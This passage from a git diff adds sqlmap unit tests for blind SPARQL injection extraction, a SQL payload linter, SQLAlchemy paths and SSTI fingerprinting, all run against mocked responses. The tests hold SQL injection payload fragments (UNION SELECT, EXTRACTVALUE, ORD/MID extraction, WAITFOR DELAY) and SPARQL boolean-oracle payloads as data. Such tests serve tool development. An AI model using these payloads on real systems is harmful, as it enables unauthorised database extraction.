        " + + +def _mockSend(place, parameter, value, raw=False): + verdict = _evaluate(value) + if verdict == "ERROR": + return _ERROR if raw else None # a 500 is nulled for the oracle, kept for the error probe + return _ROWS if verdict else _EMPTY + + +class TestHelpers(unittest.TestCase): + def test_is_error(self): + self.assertTrue(sparql._isError("Parse error: Lexical error at line 1, column 42.")) + self.assertFalse(sparql._isError("
        • luther
        ")) + + def test_backend_from_error(self): + self.assertEqual(sparql._backendFromError("Lexical error at line 1, column 8."), "Apache Jena / Fuseki") + self.assertEqual(sparql._backendFromError("org.eclipse.rdf4j.query.parser.ParseException"), "RDF4J / GraphDB") + self.assertIsNone(sparql._backendFromError("plain results page")) + + def test_error_regex_matches_real_jena(self): + self.assertIsNotNone(re.search(SPARQL_ERROR_REGEX, "Parse error: Lexical error at line 1, column 136.")) + + +class TestNoAmpersandInvariant(unittest.TestCase): + """A raw '&' in a GET value is the parameter delimiter, so any payload carrying '&&' would be split + in transit and arrive as a truncated query (a 500 that mimics a dead oracle). Every boundary and + attribution predicate must therefore use SPARQL's '||' / two-FILTER conjunction, never '&&'.""" + + def test_boundaries_have_no_ampersand(self): + for row in sparql._BOUNDARY_TABLE: + for field in row[:4]: + self.assertNotIn("&", field, row) + + def test_confirm_predicates_have_no_ampersand(self): + for truePred, falsePred in sparql._SPARQL_PREDICATES: + self.assertNotIn("&", truePred) + self.assertNotIn("&", falsePred) + + def test_send_url_encodes_the_payload(self): + """The boundaries being '&'-free was never enough: the character probes emit '&' (and '+') as + DATA. _send() must URL-encode, or those probes split the request and the bisection is answered + by a truncated query.""" + sent = [] + savedParams, sparql.conf.parameters = sparql.conf.parameters, {sparql.PLACE.GET: "q=luther"} + savedGet = sparql.Request.getPage + sparql.Request.getPage = staticmethod( + lambda **kwargs: (sent.append(sparql.conf.parameters[sparql.PLACE.GET]), "", None, 200)[1:]) + try: + sparql._send(sparql.PLACE.GET, "q", sparql._cmpChar(1, ord("&"))) + finally: + sparql.Request.getPage = savedGet + sparql.conf.parameters = savedParams + self.assertEqual(len(sent), 1) + self.assertNotIn("&", sent[0].split("=", 1)[1], sent[0]) + self.assertIn("%26", sent[0]) + + +class TestCharsetContiguity(unittest.TestCase): + """The character recovery is a lexicographic '>=' BISECTION, so the charset must have no holes. + Excluding a codepoint does not make it come back as '?' - it makes the bisection converge on the + hole's neighbour and report a DIFFERENT character with no warning. '"' and '\\' consequently stay in + the charset and travel as their SPARQL escapes. + + (This replaces an earlier assertion that pinned the opposite - that 0x22/0x5c were EXCLUDED. That + contract was wrong: live against Jena Fuseki it silently decoded 'A&x', 'A)x' and 'A+x' all as + 'A%x'. The gap is the bug, not the fix.)""" + + def test_charset_is_contiguous(self): + self.assertEqual(sparql._CS_ORDS, + list(range(sparql.SPARQL_CHAR_MIN, sparql.SPARQL_CHAR_MAX + 1))) + + def test_meta_characters_travel_escaped(self): + self.assertEqual(sparql._literal(0x22), '"\\""') + self.assertEqual(sparql._literal(0x5c), '"\\\\"') + self.assertEqual(sparql._literal(ord('a')), '"a"') + + def test_every_char_probe_is_a_well_formed_literal(self): + # exactly one opening and one closing quote, everything inside either plain or backslash-escaped + for ordinal in sparql._CS_ORDS: + probe = sparql._cmpChar(1, ordinal) + body = probe.split(">= ", 1)[1] + self.assertTrue(body.startswith('"') and body.endswith('"'), probe) + inner = body[1:-1] + self.assertEqual(inner.replace('\\"', "").replace("\\\\", "").count('"'), 0, probe) + + +def _mockSendNumeric(place, parameter, value, raw=False): + """An UNQUOTED numeric slot: FILTER(?age = ). A string boundary lands a bare word / stray + quote in a term position, which a real store rejects outright - only the numeric shape parses.""" + match = re.match(r"^\d+ \|\| \((.*)\)$", value) + if match: + return _ROWS if _predicate(match.group(1)) else _EMPTY + if value.isdigit(): + return _ROWS + return _ERROR if raw else None # syntax error: nulled for the oracle, kept for the probe + + +class TestNumericBoundary(unittest.TestCase): + """The unquoted numeric/term slot. The base has to be a valid SPARQL TERM there - a random word is + not one, it is a syntax error, so the row as first written could never fire (verified live: the old + shape returned 500 'Lexical error ... after prefix "zzsentinelzz"' from Jena, the new one 200).""" + + def setUp(self): + self.saved, self.savedParams = sparql._send, sparql.conf.parameters + sparql._send = _mockSendNumeric + sparql.conf.parameters = {sparql.PLACE.GET: "age=30"} + sparql.SENTINEL, sparql.NUMBER_SENTINEL = "zzsentinelzz", "961962811" + + def tearDown(self): + sparql._send, sparql.conf.parameters = self.saved, self.savedParams + + def test_numeric_row_uses_a_numeric_base(self): + row = [_ for _ in sparql._BOUNDARY_TABLE if _[4] == sparql._BASE_NUMBER] + self.assertEqual(len(row), 1) + trueBreak, falseBreak, prefix, suffix, _kind = row[0] + boundary = sparql.Boundary(prefix, suffix, sparql._BASE_NUMBER) + self.assertEqual(sparql._base(boundary), "961962811") + # the payload must be a valid term followed by an OR - no quote to close, no paren to re-balance + self.assertEqual(sparql._base(boundary) + trueBreak, "961962811 || (1=1)") + self.assertEqual(sparql._base(boundary) + falseBreak, "961962811 || (1=2)") + self.assertEqual(sparql._wrap(sparql._base(boundary), boundary, "PRED"), "961962811 || (PRED)") + + def test_string_rows_keep_the_word_base(self): + for row in [_ for _ in sparql._BOUNDARY_TABLE if _[4] == sparql._BASE_STRING]: + boundary = sparql.Boundary(row[2], row[3], sparql._BASE_STRING) + self.assertEqual(sparql._base(boundary), "zzsentinelzz") + + def test_numeric_slot_detects_and_extracts(self): + template, payload, boundary = sparql._detectBoolean(sparql.PLACE.GET, "age") + self.assertIsNotNone(template) + self.assertEqual(boundary.base, sparql._BASE_NUMBER) + self.assertTrue(payload.startswith("961962811")) + truth = sparql._makeOracle(sparql.PLACE.GET, "age", boundary) + self.assertIsNotNone(truth) + self.assertEqual(sparql._inferString(truth, sparql._nthObject(0)), _OBJECTS[0]) + + +class TestErrorStatusIsNeverAnOracleSample(unittest.TestCase): + """A 4xx body must be a NON-ANSWER, not a cheap false. Nulling only 5xx let a front-end that serves + its parser failure as a generic 400 feed that body to the oracle, and when it resembled the FALSE + model the bit was decided FALSE instead of INCONCLUSIVE. Measured live: a stored 'A(x' came back as + 'A\'x'. The error probe still needs the body, hence raw=True.""" + + def _sendWithCode(self, code, raw): + savedParams, sparql.conf.parameters = sparql.conf.parameters, {sparql.PLACE.GET: "q=luther"} + savedGet = sparql.Request.getPage + sparql.Request.getPage = staticmethod(lambda **kwargs: ("BODY", None, code)) + try: + return sparql._send(sparql.PLACE.GET, "q", "x", raw=raw) + finally: + sparql.Request.getPage = savedGet + sparql.conf.parameters = savedParams + + def test_4xx_and_5xx_are_nulled_for_the_oracle(self): + for code in (400, 403, 404, 429, 500, 503): + self.assertIsNone(self._sendWithCode(code, raw=False), code) + + def test_2xx_and_3xx_are_usable(self): + for code in (200, 204, 302): + self.assertEqual(self._sendWithCode(code, raw=False), "BODY", code) + + def test_raw_keeps_the_body_for_the_error_probe(self): + for code in (400, 500): + self.assertEqual(self._sendWithCode(code, raw=True), "BODY", code) + + +class TestOriginalValue(unittest.TestCase): + def setUp(self): + self.savedParams = sparql.conf.parameters + self.savedDict = sparql.conf.paramDict + sparql.conf.parameters = {sparql.PLACE.GET: "q=luther"} + + def tearDown(self): + sparql.conf.parameters = self.savedParams + sparql.conf.paramDict = self.savedDict + + def test_reads_and_replaces(self): + self.assertEqual(sparql._originalValue(sparql.PLACE.GET, "q"), "luther") + self.assertEqual(sparql._replaceSegment(sparql.PLACE.GET, "q", "X"), "q=X") + + +class TestDetectionAndExtraction(unittest.TestCase): + def setUp(self): + self.saved = sparql._send + sparql._send = _mockSend + self.savedParams = sparql.conf.parameters + sparql.conf.parameters = {sparql.PLACE.GET: "q=luther"} + sparql.SENTINEL = "zzsentinelzz" + + def tearDown(self): + sparql._send = self.saved + sparql.conf.parameters = self.savedParams + + def test_boolean_detection(self): + template, payload, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + self.assertIsNotNone(template) + self.assertEqual(boundary.base, sparql._BASE_STRING) + + def test_confirms_sparql(self): + _t, _p, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + self.assertTrue(sparql._confirmSparql(sparql.PLACE.GET, "q", boundary)) + + def test_error_probe_fingerprints_jena(self): + backend, _page = sparql._probeError(sparql.PLACE.GET, "q") + self.assertEqual(backend, "Apache Jena / Fuseki") + + def test_blind_extraction_recovers_objects(self): + _t, _p, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + truth = sparql._makeOracle(sparql.PLACE.GET, "q", boundary) + self.assertIsNotNone(truth) + self.assertEqual(sparql._inferCount(truth, sparql._COUNT_TRIPLES, 10 ** 9), len(_TRIPLES)) + self.assertEqual(sparql._inferCount(truth, sparql._COUNT_PREDICATES, 64), len(_PREDICATES)) + # every seeded object comes back BYTE-FOR-BYTE, including the edge value whose '&', '+', '"' + # and '\' used to be silently rewritten (transport split / charset hole) + for offset, expected in enumerate(_OBJECTS): + self.assertEqual(sparql._inferString(truth, sparql._nthObject(offset)), expected) + self.assertEqual(sparql._inferString(truth, sparql._nthPredicate(0)), _PREDICATES[0]) + + def test_plain_sql_endpoint_is_not_confirmed(self): + # an endpoint where the injected predicate has no effect (always same page) must not confirm + sparql._send = lambda place, parameter, value, raw=False: _ROWS + template, _p, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + self.assertIsNone(template) # no true/false divergence -> not even boolean-detected + + +class _Dumper(object): + """Stands in for conf.dumper, which the offline bootstrap does not build.""" + + def __init__(self): + self.output = [] + + def singleString(self, value): + self.output.append(value) + + +class TestCapsAreDisclosed(unittest.TestCase): + """Both bounds here are bisection bounds, so a result sitting ON one is a FLOOR, not a measurement. + A capped IRI reads exactly like a whole one, and a capped predicate count reads like the size of + the graph - the reader has no way to tell unless it is said.""" + + def setUp(self): + self.saved, self.savedParams = sparql._send, sparql.conf.parameters + sparql._send = _mockSend + sparql.conf.parameters = {sparql.PLACE.GET: "q=luther"} + sparql.SENTINEL = "zzsentinelzz" + self.savedDumper, sparql.conf.dumper = sparql.conf.get("dumper"), _Dumper() + self.savedWarning, self.warnings = sparql.logger.warning, [] + sparql.logger.warning = lambda message, *args: self.warnings.append(message % args if args else message) + + def tearDown(self): + sparql._send, sparql.conf.parameters = self.saved, self.savedParams + sparql.conf.dumper = self.savedDumper + sparql.logger.warning = self.savedWarning + + def _truth(self): + _t, _p, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + truth = sparql._makeOracle(sparql.PLACE.GET, "q", boundary) + self.assertIsNotNone(truth) + return truth + + def test_truncated_value_is_reported(self): + value = sparql._inferString(self._truth(), sparql._nthObject(0), maxLen=4) + self.assertEqual(value, _OBJECTS[0][:4]) + self.assertTrue(any("at least 4 characters" in _ for _ in self.warnings), self.warnings) + + def test_value_that_fits_is_silent(self): + value = sparql._inferString(self._truth(), sparql._nthObject(0), maxLen=64) + self.assertEqual(value, _OBJECTS[0]) + self.assertEqual(self.warnings, []) + + def test_saturated_predicate_count_is_reported_as_a_floor(self): + saved, sparql.SPARQL_MAX_PREDICATES = sparql.SPARQL_MAX_PREDICATES, 2 + try: + sparql._dumpGraph(self._truth()) + finally: + sparql.SPARQL_MAX_PREDICATES = saved + + self.assertTrue(any("hit the 2 cap" in _ for _ in self.warnings), self.warnings) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlalchemy.py b/tests/test_sqlalchemy.py new file mode 100644 index 00000000000..768c1241119 --- /dev/null +++ b/tests/test_sqlalchemy.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The SQLAlchemy '-d' connector wrapper (lib/utils/sqlalchemy.py). The absolute +SQLite path must map to 'sqlite:///' + abspath: an extra slash yields the db +'//path' (tolerated only on Linux by accident) and, on Windows, a broken +'/C:\\...' that fails to open. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +try: + import sqlalchemy as _sa + _HAVE_SA = hasattr(_sa, "dialects") +except ImportError: + _HAVE_SA = False + +from lib.core.data import conf +from lib.utils.sqlalchemy import SQLAlchemy + + +@unittest.skipUnless(_HAVE_SA, "SQLAlchemy not installed") +class TestSQLAlchemySqlitePath(unittest.TestCase): + _KEYS = ("direct", "dbmsUser", "dbmsPass", "hostname", "port", "dbmsDb") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._KEYS) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def test_absolute_sqlite_path_opens_correct_file(self): + d = tempfile.mkdtemp(prefix="sqlmap-sa-test") + dbfile = os.path.join(d, "target.db") + con = sqlite3.connect(dbfile) + con.execute("CREATE TABLE t (x TEXT)") + con.execute("INSERT INTO t VALUES ('secret')") + con.commit() + con.close() + + conf.direct = "sqlite://%s" % dbfile + conf.dbmsUser = conf.dbmsPass = None + conf.hostname = None + conf.port = None + conf.dbmsDb = dbfile + + sa = SQLAlchemy(dialect="sqlite") + sa.connect() + + # the reformatted URL must resolve to the exact absolute file (not '//...path') + self.assertEqual(_sa.engine.url.make_url(sa.address).database, os.path.abspath(dbfile)) + # and end-to-end it must read from that file + self.assertEqual(sa.select("SELECT x FROM t"), [("secret",)]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py new file mode 100644 index 00000000000..4c06bbcdecc --- /dev/null +++ b/tests/test_sqllint.py @@ -0,0 +1,207 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests + atom-level SQL coverage for lib/utils/sqllint.py. + +Two concerns: + + 1. Linter self-test - a curated set of well-formed fragments/statements that + must NOT flag, malformed ones that MUST flag, and the cross-dialect edge + cases the linter has learned (==, ::, $/backtick identifiers, LIKE() as a + function, HSQLDB "LIMIT off lim", ...). Guards the linter from regressions. + + 2. Atom-level SQL coverage - every SQL-bearing template in data/xml/queries.xml + and data/xml/payloads.xml, across ALL back-end DBMSes, must lint structurally + clean. This is a coverage gate over the *building blocks* of every query + sqlmap emits. The composed/runtime layer (agent.py wrapping these atoms into + wire payloads) is exercised faithfully by the separate payload-lint walk; a + 0-flag result here means the catalog itself is sound in all 30 dialects. + +A regression (a newly malformed catalog entry, OR a genuinely new valid dialect +construct the linter does not yet understand) makes the relevant test fail with a +pointer to the offending template. + +stdlib unittest only; Python 2.7 and 3.x; pure-ASCII. +""" + +import os +import re +import sys +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from lib.utils.sqllint import checkSanity + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +# well-formed fragments/statements that must NOT flag +GOOD = ( + "1 AND 1=1", + "1) AND 5108=5108 AND (7936=7936", + "1)) OR 1=1-- -", + "1' AND '1'='1", + "1 UNION ALL SELECT NULL,NULL,CONCAT(0x71,0x62,0x71)-- -", + "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7176,(SELECT database()),0x71)x FROM information_schema.tables GROUP BY x)a)", + "1 AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),1,1))>64", + "1 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7e,(SELECT version())))", + "SELECT name FROM users WHERE id=1 ORDER BY id", + "SELECT count(*) FROM t WHERE x=1", + "1 WAITFOR DELAY '0:0:5'", +) + +# cross-dialect valid constructs the linter must accept (regression guards for +# the exact false positives that adversarial/catalog runs exposed and fixed) +DIALECT_GOOD = ( + "1 AND id==1", # SQLite '==' equality + "SELECT 1 WHERE (SELECT 1)::text = '1'", # PostgreSQL '::' cast + "SELECT 1 WHERE 9223=LIKE(CHAR(65),UPPER(HEX(1)))", # SQLite LIKE() function + "SELECT NAME FROM SYSMASTER:SYSDATABASES", # Informix 'db:table' + "SELECT $ZVERSION", # InterSystems Cache system var + "SELECT `col` FROM `directory` LIMIT 0,1", # MySQL backtick identifiers + "SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT + "SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table + "CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI) + "SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2", # two WHEREs across UNION (legal) + "SELECT a FROM (SELECT b FROM t WHERE c=1) z WHERE d=2", # subquery WHERE + outer WHERE (different scopes) + "SELECT a FROM t WHERE x IN (SELECT c FROM d WHERE e=1) AND f=2", # WHERE with a WHERE'd subquery +) + +# malformed fragments/statements that MUST flag +BAD = ( + "(SELECT id 1 FROM users)", # missing separator + "1 AND 1=(SELECT id 1 FROM users' WHERE tablename='foobar')", # stray quote in scope + "1UNION SELECT NULL", # digit glued to word + "1 AND 5108=5108AND 1=1", # digit glued to keyword + "1 AND 1 = = 1", # doubled operator + "1 AND AND 1=1", # doubled keyword operator + "1 UNION SELECT NULL,,NULL", # empty list item + "1 AND (1=1)(2=2)", # adjacent groups + "SELECT count() FROM t WHERE id=)", # operator before ')' + "SELECT a,b, FROM t", # dangling comma before clause + "1 AND (SELECT [DELIMITER_START]x[DELIMITER_STOP] FROM t)", # leftover templating marker + "1 [ORIGVALUE] AND 1=1", # leftover ORIGVALUE marker + "1 UNI1ON ALL SELECT NULL,NULL", # digit-corrupted UNION + "1 UrNION ALL SELECT NULL", # char-inserted UNION + "SEL2ECT x.z FROM t", # digit-corrupted SELECT + "1 ORD2ER BY 1", # digit-corrupted ORDER + "1 UNIN ALL SELECT NULL", # deletion-typo UNION + "1 UNOIN ALL SELECT NULL", # transposition-typo UNION + "SELCT a FROM t", # deletion-typo SELECT + "1 UNION ALLSELECT NULL", # glued keyword after UNION + "1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')') + "1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT + "SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') WHERE OWNER IN ('APPU')", # double WHERE (mis-appended schema filter) + "SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V') WHERE tabschema IN ('DB2INST1')", # double WHERE (DB2) + "SELECT a FROM t WHERE x=1 HAVING c>1 HAVING d<2", # duplicate HAVING +) + +# cross-dialect valid constructs the near-keyword / comma / digit-glue rules must +# NOT flag (regression guards for false positives the real-identifier stress found) +DIALECT_GOOD_HARD = ( + "SELECT 4images_users FROM t", # digit-STARTED identifier (not '1UNION') + "SELECT a,group,b FROM t", # column literally named 'group' + "SELECT a,order FROM t", # column literally named 'order' + "1 UNION SELECT orders FROM t", # 'orders' near ORDER but a real table +) + +# queries.xml: attributes that carry SQL (not regexes/markers) +_SQL_ATTRS = ("query", "query2", "query3", "count", "count2", "count3", + "condition", "condition2", "condition3", + "keyset_where", "keyset_next", "keyset_first", "keyset_by", "keyset_ordered", "rowid") +_SKIP_TAGS = ("limitregexp", "comment") + + +def _materialize(s): + """Substitute sqlmap's template markers with structurally-neutral values so a + catalog template becomes lintable SQL (mirrors what agent.py fills in).""" + s = s.replace("[QUERY]", "SELECT 1").replace("[UNION]", "UNION SELECT NULL") + s = s.replace("[INFERENCE]", "1=1") + s = re.sub(r"\[RANDNUM\d*\]", "1", s) + s = re.sub(r"\[RANDSTR\d*\]", "abc", s) + s = s.replace("[SLEEPTIME]", "1").replace("[DELAYED]", "1") + for _ in ("[DELIMITER_START]", "[DELIMITER_STOP]", "[COLSTART]", "[COLSTOP]"): + s = s.replace(_, "0x71") + s = s.replace("[ORIGVALUE]", "1").replace("[CHAR]", "NULL").replace("[GENERIC_SQL_COMMENT]", "-- -") + s = s.replace("[SINGLE_QUOTE]", "'").replace("[DOUBLE_QUOTE]", '"').replace("[DB]", "db") + s = s.replace("[SPACE_REPLACE]", " ").replace("[HASH_REPLACE]", "#") + s = s.replace("[DOLLAR_REPLACE]", "$").replace("[AT_REPLACE]", "@") + s = re.sub(r"\[[A-Z][A-Z0-9_]*\]", "1", s) + s = s.replace("%d", "1").replace("%s", "col").replace("%%", "%") + return s + + +def _queries_atoms(): + """{dbms: sorted list of SQL atom strings} from queries.xml.""" + retVal = {} + root = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")).getroot() + for dbms in root.iter("dbms"): + atoms = set() + for el in dbms.iter(): + if el.tag in _SKIP_TAGS: + continue + for attr in _SQL_ATTRS: + raw = el.get(attr) + if raw and not raw.strip().isdigit(): + atoms.add(raw) + retVal[dbms.get("value")] = sorted(atoms) + return retVal + + +def _payload_atoms(): + """[(file, stype-title, sql)] from data/xml/payloads/*.xml.""" + import glob + retVal = [] + for path in sorted(glob.glob(os.path.join(ROOT, "data", "xml", "payloads", "*.xml"))): + name = os.path.basename(path) + for test in ET.parse(path).getroot().iter("test"): + title = (test.findtext("title") or "").strip() + for tag in ("payload", "vector", "comparison"): + for el in test.iter(tag): + raw = (el.text or "").strip() + if raw: + retVal.append((name, title, raw)) + return retVal + + +class TestLinterSelf(unittest.TestCase): + def test_well_formed_pass(self): + for sql in GOOD + DIALECT_GOOD + DIALECT_GOOD_HARD: + self.assertEqual(checkSanity(sql), [], "false positive on valid SQL: %r" % sql) + + def test_malformed_flag(self): + for sql in BAD: + self.assertTrue(checkSanity(sql), "missed malformed SQL: %r" % sql) + + def test_nonascii_identifier(self): + # a non-ASCII column name (Turkish dotless-i U+0131) must lex as an identifier, not stray + self.assertEqual(checkSanity(u"SELECT \u0131d,ad FROM users"), []) + + +class TestCatalogCoverage(unittest.TestCase): + def test_queries_xml_clean(self): + atoms = _queries_atoms() + total = 0 + for dbms, items in atoms.items(): + for raw in items: + total += 1 + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "queries.xml [%s] malformed atom: %r -> %s" % (dbms, raw, issues)) + self.assertGreater(total, 1000) # sanity: the catalog was actually walked + + def test_payloads_xml_clean(self): + items = _payload_atoms() + for name, title, raw in items: + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "%s malformed payload atom (%s): %r -> %s" % (name, title, raw, issues)) + self.assertGreater(len(items), 500) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlparse.py b/tests/test_sqlparse.py new file mode 100644 index 00000000000..afe204ecb5c --- /dev/null +++ b/tests/test_sqlparse.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQL/string parsing helpers: field splitting and 0-depth (paren+quote aware) +scanning, query cleanup, regex extraction. +Includes regression cases for the quote-awareness bugs fixed previously. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import splitFields, zeroDepthSearch, cleanQuery, extractRegexResult + + +class TestSplitFields(unittest.TestCase): + CASES = [ + ("a,b", ["a", "b"]), + ("user,password", ["user", "password"]), + ("a,b,c", ["a", "b", "c"]), + ("a", ["a"]), + ("max(a,b)", ["max(a,b)"]), # paren-protected + ("max(a, b),c", ["max(a,b)", "c"]), # ', ' normalized; outer split + ("COUNT(*),name", ["COUNT(*)", "name"]), + ("f(g(x,y),z),h", ["f(g(x,y),z)", "h"]), # nested parens + ("'a,b'", ["'a,b'"]), # REGRESSION: comma in single-quoted literal + ("'a,b','c|d','e&f'", ["'a,b'", "'c|d'", "'e&f'"]), # REGRESSION + ('"x,y",z', ['"x,y"', "z"]), # double-quoted literal + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(splitFields(inp), expected, msg="splitFields(%r)" % inp) + + +class TestZeroDepthSearch(unittest.TestCase): + def test_quote_awareness(self): + # ' FROM ' inside a literal must NOT be a clause boundary (regression) + self.assertEqual(zeroDepthSearch("SELECT 'x FROM y'", " FROM "), []) + # a real FROM must be found (exactly once here) + self.assertEqual(len(zeroDepthSearch("SELECT a FROM t", " FROM ")), 1) + + def test_paren_awareness(self): + self.assertEqual(zeroDepthSearch("a(,)b,c", ","), [5]) # only the depth-0 comma + + def test_doctest_vectors(self): + q = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL" + hits = zeroDepthSearch(q, "FROM") + self.assertTrue(hits, "no depth-0 FROM found") # guard: avoid a confusing IndexError + self.assertEqual(q[hits[0]:], "FROM DUAL") # outer FROM only + s = "a(b; c),d;e" + hits = zeroDepthSearch(s, "[;, ]") + self.assertTrue(hits) + self.assertEqual(s[hits[0]:], ",d;e") # char-class form + + +class TestCleanQuery(unittest.TestCase): + def test_keyword_uppercasing(self): + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + # mixed case keywords get uppercased; non-keyword identifiers are preserved verbatim + self.assertEqual(cleanQuery("seLeCt a fRoM t"), "SELECT a FROM t") + self.assertEqual(cleanQuery("SELECT 1"), "SELECT 1") # already-upper unchanged + + def test_idempotent(self): + for q in ["select a from t", "SELECT 1", "select x where y=1 order by z"]: + once = cleanQuery(q) + self.assertEqual(cleanQuery(once), once) + # idempotence alone would pass even if cleanQuery uppercased EVERYTHING; anchor that it + # uppercases keywords but preserves the lowercase identifier + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + + +class TestExtractRegexResult(unittest.TestCase): + def test_named_group(self): + self.assertEqual(extractRegexResult(r"id=(?P\d+)", "id=42"), "42") + self.assertIsNone(extractRegexResult(r"id=(?P\d+)", "no match here")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_ssti.py b/tests/test_ssti.py new file mode 100644 index 00000000000..c1d4bffb205 --- /dev/null +++ b/tests/test_ssti.py @@ -0,0 +1,833 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the SSTI detection and fingerprinting engine. Mock _send() stands +in for the HTTP/Jinja2 layer so engine table integrity, arithmetic proof, error +detection, boolean oracle, distinguishing probes, and fingerprinting can be +exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ssti.inject as ssti + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(ssti._ratio("abc", "abc"), 0.9) + self.assertLess(ssti._ratio("abc", "xyz"), 0.5) + + def test_delim(self): + from lib.core.enums import PLACE + self.assertEqual(ssti._delim(PLACE.GET), '&') + self.assertEqual(ssti._delim(PLACE.COOKIE), ';') + + +class TestEngineTable(unittest.TestCase): + def test_all_engines_have_required_fields(self): + for engine in ssti._ENGINE_TABLE: + self.assertTrue(len(engine.name) > 0) + self.assertTrue(len(engine.delimiter) > 0) + + def test_arithmetic_engines_have_format_strings(self): + noArith = ("Velocity", "Handlebars") + for engine in ssti._ENGINE_TABLE: + if engine.name not in noArith: + self.assertIn("%d", engine.arithmeticFmt, + "Engine '%s' arithmeticFmt must contain %%d placeholders" % engine.name) + + def test_error_probes_present(self): + for engine in ssti._ENGINE_TABLE: + if engine.errorRegex: + self.assertTrue(len(engine.errorProbes) > 0, + "Engine '%s' has errorRegex but no errorProbes" % engine.name) + + def test_distinguishing_probes_for_curly_engines(self): + curlyEngines = [e for e in ssti._ENGINE_TABLE if e.delimiter == "{{"] + withProbes = [e for e in curlyEngines if e.distinguishingProbe] + # Jinja2 and Twig are distinguished by trueRendered/falseRendered; + # Twig/Handlebars have distinguishing probes. At least one curly engine + # must have a probe, but Jinja2 can rely on boolean rendering difference. + self.assertGreaterEqual(len(withProbes), 1, + "At least one {{}}-delimited engine needs a distinguishing probe") + + def test_boolean_payloads_differ(self): + for engine in ssti._ENGINE_TABLE: + self.assertNotEqual(engine.booleanTrue, engine.booleanFalse, + "Engine '%s' true/false payloads must differ" % engine.name) + if engine.trueRendered: + self.assertNotEqual(engine.trueRendered, engine.falseRendered, + "Engine '%s' true/false rendered values must differ" % engine.name) + + +class TestArithmeticDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_arithmetic_control_pair(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + import re + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + a, b = int(m.group(1)), int(m.group(2)) + return "Hello %d" % (a * b) + return "Hello " + value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + + def test_struts2_ognl_arithmetic_control_pair(self): + # Struts2 evaluates '%{expr}' (OGNL) and reflects it in the redisplayed field value + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Struts2 (OGNL)"][0] + + def mock(place, parameter, value): + import re + m = re.search(r"%\{(\d+)\*(\d+)\}", value) + if m: + return 'name="username" value="%d"' % (int(m.group(1)) * int(m.group(2))) + return 'name="username" value="%s"' % value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + + def test_arithmetic_requires_both_results_correct(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello 42" # always returns 42 regardless of payload + + ssti._send = mock + # Control pair check: result1 must NOT appear in page2 and vice versa + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + def test_handlebars_skipped(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_error_detected(self): + 